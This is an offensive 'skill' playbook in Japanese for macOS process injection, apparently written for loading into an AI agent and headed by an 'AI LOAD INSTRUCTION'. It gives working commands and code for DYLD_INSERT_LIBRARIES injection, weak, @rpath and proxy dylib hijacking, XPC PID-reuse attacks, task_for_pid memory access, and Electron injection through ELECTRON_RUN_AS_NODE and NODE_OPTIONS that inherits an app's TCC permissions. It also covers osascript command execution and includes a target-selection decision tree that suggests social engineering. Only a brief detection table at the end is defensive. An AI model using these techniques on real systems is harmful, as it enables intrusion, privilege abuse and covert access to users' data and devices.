SKILL: macOS Process Injection — エキスパート攻撃プレイブック

AI LOAD INSTRUCTION: macOS プロセスインジェクション のエキスパートテクニック。DYLD_INSERT_LIBRARIES、dylib ハイジャッキング（weak/rpath/proxy）、XPC PID 再利用攻撃、Mach ポート操作、MIG 悪用、Electron インジェクション対応。基本モデルはエンタイトルメントの前提条件とインジェクションベクトルの SIP 制約を見落としがちです。

0. 関連ルーティング

詳細に進む前に、以下のロードを検討してください：

• macos-security-bypass - TCC、Gatekeeper、またはインジェクションをブロックしている SIP 保護をバイパスする必要がある場合
• linux-privilege-escalation - Unix レイヤー特権昇格（共有オブジェクトハイジャッキング概念が適用される）

高度なリファレンス

以下が必要な場合は DYLIB_XPC_TECHNIQUES.md もロードしてください：

• ステップバイステップ dylib ハイジャッキング方法論とツールコマンド
• コード例を含む XPC 悪用チュートリアル
• Mach ポートテクニック詳細と task_for_pid パターン

---

1. DYLD_INSERT_LIBRARIES インジェクション

最も直接的なインジェクション方法：動的リンカーに dylib をプリロードさせるよう環境変数を設定します。

1.1 要件と制限

条件	インジェクト可能？	理由
通常（非強化）バイナリ	はい	制限なし
Hardened Runtime 有効	いいえ	DYLD が環境変数をストリップ
Hardened Runtime + com.apple.security.cs.allow-dyld-environment-variables	はい	エンタイトルメントが明示的に許可
Apple システムバイナリ（SIP 保護）	いいえ	SIP が DYLD 環境変数をストリップ
SUID/SGID バイナリ	いいえ	権限安全性のため DYLD 環境変数をストリップ
App Sandbox 有効	いいえ	サンドボックスが環境変数インジェクションをブロック

1.2 基本インジェクション

# 悪質な dylib を作成
cat > inject.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void inject() {
    printf("[+] Injected into PID %d\n", getpid());
    // payload here
}
EOF

# 両方のアーキテクチャ用にコンパイル
gcc -dynamiclib -o inject.dylib inject.c -arch x86_64 -arch arm64

# ターゲットにインジェクト
DYLD_INSERT_LIBRARIES=./inject.dylib /path/to/target

1.3 インジェクション可能なターゲットを検索

# Hardened Runtime がない アプリを検索
find /Applications -name "*.app" -exec sh -c '
  binary=$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
  if [ -n "$binary" ]; then
    flags=$(codesign -d --verbose "$1/Contents/MacOS/$binary" 2>&1)
    echo "$flags" | grep -q "runtime" || echo "No Hardened Runtime: $1"
  fi
' _ {} \;

# dyld 環境変数エンタイトルメント を持つアプリを検索
find /Applications -name "*.app" -exec sh -c '
  binary="$1/Contents/MacOS/"$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
  codesign -d --entitlements :- "$binary" 2>/dev/null | \
    grep -q "allow-dyld-environment-variables" && echo "DYLD injectable: $1"
' _ {} \;

---

2. DYLIB ハイジャッキング

動的リンカーのライブラリ検索順を利用して、正規の dylib の代わりに（または追加として）攻撃者が制御する dylib をロードします。

2.1 Weak Dylib ハイジャッキング（LC_LOAD_WEAK_DYLIB）

Weak dylib はオプション — 不在でもバイナリは実行されます。期待されたパスに dylib を配置できれば、それがロードされます。

# Weak dylib 参照を持つバイナリを検索
otool -l /path/to/binary | grep -A 2 LC_LOAD_WEAK_DYLIB

# Weak dylib が実際に存在するかを確認
otool -L /path/to/binary | grep weak | while read lib rest; do
  [ ! -f "$lib" ] && echo "MISSING (hijackable): $lib"
done

2.2 @rpath ハイジャッキング

@rpath はバイナリの LC_RPATH エントリから解決されます。前のディレクトリが書き込み可能な場合、そこに dylib を配置できます。

# rpath エントリをリスト
otool -l /path/to/binary | grep -A 2 LC_RPATH

# rpath 相対 dylib 参照をリスト
otool -L /path/to/binary | grep @rpath

# rpath に書き込み可能なディレクトリ（例：app の Frameworks/）が含まれる場合
# マッチングする名前の悪質な dylib をそこに配置

2.3 Dylib プロキシ

正規 dylib を、すべてのエクスポートを元のものに転送する悪質なものに置き換えます。

# ステップ 1：ターゲット dylib とそのエクスポートを特定
nm -gU /path/to/original.dylib | awk '{print $3}'

# ステップ 2：すべてを再エクスポートする proxy dylib を作成
# 元のものを original_real.dylib に移動
# プロキシを作成：
cat > proxy.c << 'EOF'
__attribute__((constructor))
void payload() {
    // malicious code here
}
EOF

gcc -dynamiclib -o hijacked.dylib proxy.c \
  -Wl,-reexport_library,/path/to/original_real.dylib \
  -arch x86_64 -arch arm64

2.4 依存関係列挙

otool -L /path/to/binary              # すべての dylib 依存関係をリスト
otool -l /path/to/binary              # 完全なロードコマンド（rpath、weak など）
dyldinfo -print_dependencies /path/to/binary  # 詳細な依存情報（pre-Ventura）

---

3. XPC 悪用

XPC（Cross-Process Communication）は macOS の主要 IPC メカニズムで、権限分離用です。特権 XPC サービスは高価値ターゲットです。

3.1 XPC サービス検出

# システム XPC サービス
find /System/Library -name "*.xpc" -type d 2>/dev/null | head -20

# サードパーティ XPC サービス
find /Library /Applications -name "*.xpc" -type d 2>/dev/null

# LaunchDaemon XPC サービス（ルートレベル）
grep -r "MachServices" /Library/LaunchDaemons/*.plist 2>/dev/null
grep -r "MachServices" /System/Library/LaunchDaemons/*.plist 2>/dev/null

3.2 PID 再利用攻撃

PID で検証される XPC 接続は競合状態に脆弱です：攻撃者がプロセスを起動し、PID がチェックされてパスし、攻撃者のプロセスが終了し、OS が PID を悪質なプロセスに再利用します。

検証方法	脆弱性あり？	注記
PID ベースのチェック	はい	プロセス終了後に PID が再利用される
Audit トークン	いいえ	プロセスライフサイクルごとに一意、再利用されない
コード署名チェック	いいえ	署名アイデンティティを検証
エンタイトルメントチェック	いいえ	プロセスエンタイトルメントをチェック

PID 再利用攻撃のタイムライン：
1. 正規クライアント（PID 1234）が XPC サービスに接続
2. XPC サービスが PID 1234 をチェック → 有効
3. 正規クライアントが終了（PID 1234 が解放される）
4. 攻撃者が急速にフォークして PID 1234 を取得
5. 攻撃者のプロセス（現在 PID 1234）が悪質な XPC メッセージを送信
6. XPC サービスが PID 1234 を信頼（キャッシュされた検証）

3.3 XPC クライアント検証の弱点

弱点	説明	悪用方法
クライアント検証なし	サービスが任意の接続を受け入れ	直接接続してコマンドを送信
PID のみの検証	競合状態が悪用可能	PID 再利用攻撃（§3.2）
バンドル ID チェックのみ	バンドル ID がスプーフされる可能性	マッチングバンドル ID を持つアプリを作成
部分的な code requirement	アンカーチェック欠落	部分的な要件にマッチする証明書で署名
間違ったプロセスでのエンタイトルメントチェック	親をチェック（クライアント不可）	権限のある親からスポーン

---

4. MACH ポート操作

Mach ポートはカーネルレベルの IPC プリミティブであり、XPC の基礎です。直接 Mach ポートアクセスにより強力なインジェクションが可能になります。

4.1 Task ポート（task_for_pid）

// ルート または taskgated エンタイトルメント が必要
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr == KERN_SUCCESS) {
    // ターゲットプロセスメモリの読み書きが可能
    // thread_create_running 経由のスレッドインジェクション
}

アクセス方法	要件	ポスト悪用機能
task_for_pid()	ルート + SIP 保護されていないターゲット	完全なメモリ R/W、スレッドインジェクション
processor_set_tasks()	ルート + com.apple.system-task-ports	すべての task ポートを列挙
Exception ポート	task_set_exception_ports 経由で設定	ターゲットクラッシュをキャッチ、実行をリダイレクト
スレッドインジェクション	Task ポート取得済み	ターゲットアドレス空間内に新しいスレッドを作成

4.2 ポート名前空間操作

テクニック	説明
ポート名推測	Mach ポート名は順序付き整数 — 一部コンテキストではブルートフォース可能
mach_port_insert_right	送信権をターゲットの名前空間に挿入（task ポート必須）
Bootstrap サーバー悪用	正規サービスの前にサービス名を登録 → 接続をインターセプト

---

5. MIG（MACH INTERFACE GENERATOR）悪用

MIG は Mach IPC の C スタブを生成します。MIG サーバーのディスパッチルーチンに脆弱性がある可能性があります。

5.1 分析アプローチ

# バイナリの MIG サブシステムを検索
nm /path/to/binary | grep _subsystem
strings /path/to/binary | grep "MIG"

# MIG ルーチンディスパッチテーブルを特定
otool -tV /path/to/binary | grep -A 5 "server_routine"

5.2 一般的な MIG 脆弱性

脆弱性	説明
Audit トークン検証欠落	MIG ハンドラーが送信元アイデンティティを検証しない
型混乱	MIG 逆シリアル化がクライアント提供の型記述子を信頼
ポートライフサイクル問題	MIG 呼び出し間での Mach ポートの Use-after-deallocate
OOL（ out-of-line）メモリ悪用	過度の OOL 記述子 → カーネルメモリ問題

---

6. ELECTRON / CHROMIUM インジェクション

多くの macOS アプリは Electron を使用します（Slack、Discord、VS Code、Teams など）。Electron アプリは複数のインジェクションサーフェスを公開します。

6.1 ELECTRON_RUN_AS_NODE

# Electron アプリを純粋な Node.js ランタイムに変換
ELECTRON_RUN_AS_NODE=1 "/Applications/Slack.app/Contents/MacOS/Slack" -e \
  "require('child_process').execSync('id').toString()"

# これはアプリの TCC 権限を継承します！
# Slack がカメラ/マイク/スクリーン記録を持っている場合、あなたのコードもそれを取得します。

6.2 デバッグフラグ

# Chrome DevTools プロトコルをアプリで開く
"/Applications/Target.app/Contents/MacOS/Target" --inspect=9229
# その後接続：Chrome ブラウザで chrome://inspect

# コマンド実行前にブレーク
"/Applications/Target.app/Contents/MacOS/Target" --inspect-brk=9229

6.3 NODE_OPTIONS インジェクション

# NODE_OPTIONS 経由でプリロードスクリプトをインジェクト
echo 'require("child_process").execSync("id > /tmp/pwned")' > /tmp/preload.js
NODE_OPTIONS="--require /tmp/preload.js" "/Applications/Target.app/Contents/MacOS/Target"

6.4 Electron Fuses

モダン Electron アプリは危険な機能を無効化するための「fuses」を使用します。Fuse 状態をチェック：

Fuse	有効時（安全）	無効時（悪用可能）
RunAsNode	ELECTRON_RUN_AS_NODE がストリップ	Node.js としてアプリを使用可能
EnableNodeCliInspectArguments	--inspect フラグがストリップ	デバッガーをアタッチ可能
EnableNodeOptionsEnvironmentVariable	NODE_OPTIONS がストリップ	プリロードをインジェクト可能
OnlyLoadAppFromAsar	.asar のみからロード	JS ファイルを置き換え可能

# Electron fuse 状態をチェック（npx @electron/fuses が必要）
npx @electron/fuses read --app "/Applications/Target.app"

---

7. アプリケーションスクリプティング（APPLE EVENTS）

# osascript 経由でインジェクト（Automation 権限が存在する場合）
osascript -e 'tell application "Terminal" to do script "id > /tmp/pwned"'

# JavaScript for Automation（JXA）
osascript -l JavaScript -e '
  var app = Application("Terminal");
  app.doScript("id > /tmp/pwned");
'

# ObjC ブリッジ付き JXA（強力）
osascript -l JavaScript -e '
  ObjC.import("Cocoa");
  var task = $.NSTask.alloc.init;
  task.launchPath = "/bin/bash";
  task.arguments = ["-c", "id > /tmp/pwned"];
  task.launch;
'

---

8. プロセスインジェクション決定ツリー

macOS プロセスにコードをインジェクトする必要あり
│
├── ターゲットは Electron を使用？
│   ├── Fuses が無効？ → ELECTRON_RUN_AS_NODE（§6.1）
│   ├── デバッグが利用可能？ → --inspect フラグ（§6.2）
│   ├── NODE_OPTIONS がストリップされていない？ → プリロードインジェクション（§6.3）
│   └── すべての fuses がオン？ → dylib パスまたは XPC をチェック
│
├── ターゲットに dylib 環境変数エンタイトルメント？
│   └── はい → DYLD_INSERT_LIBRARIES（§1）
│
├── ターゲットに不在または weak dylib？
│   ├── 不在の dylib を持つ LC_LOAD_WEAK_DYLIB？ → dylib を配置（§2.1）
│   ├── 最初の検索に書き込み可能ディレクトリがある @rpath？ → rpath ハイジャック（§2.2）
│   └── 書き込み可能な場所にある既存 dylib？ → dylib プロキシ（§2.3）
│
├── ターゲットが XPC サービスを公開？
│   ├── クライアント検証なし？ → 直接接続（§3.3）
│   ├── PID のみの検証？ → PID 再利用攻撃（§3.2）
│   └── Audit トークン検証？ → 別のベクトルが必要
│
├── ルートアクセスがある？
│   ├── ターゲットが SIP 保護されていない？ → task_for_pid インジェクション（§4.1）
│   └── SIP 保護？ → 最初に SIP バイパスが必要（→ macos-security-bypass）
│
├── Apple Events を使用可能？
│   ├── ターゲットの Automation 権限？ → osascript インジェクション（§7）
│   └── 権限なし？ → Automation 同意を社会工学
│
└── 上記いずれでもない？
    ├── MIG サーバー脆弱性をチェック（§5）
    └── Bootstrap サーバー名衝突を探索（§4.2）

---

9. 検出とフォレンジクス

アーティファクト	確認場所
DYLD_INSERT_LIBRARIES 使用	プロセス環境（/proc/PID/environ、ps eww）
予期しない dylib ロード	vmmap PID または DYLD_PRINT_LIBRARIES=1 出力
XPC 接続異常	Endpoint Security es_event_type_t XPC イベント
Electron デバッグポート開放	lsof -i :9229
osascript 実行	Unified ログ：log show --predicate 'process=="osascript"'
署名なしコード実行	codesign --verify 失敗、Gatekeeper ログ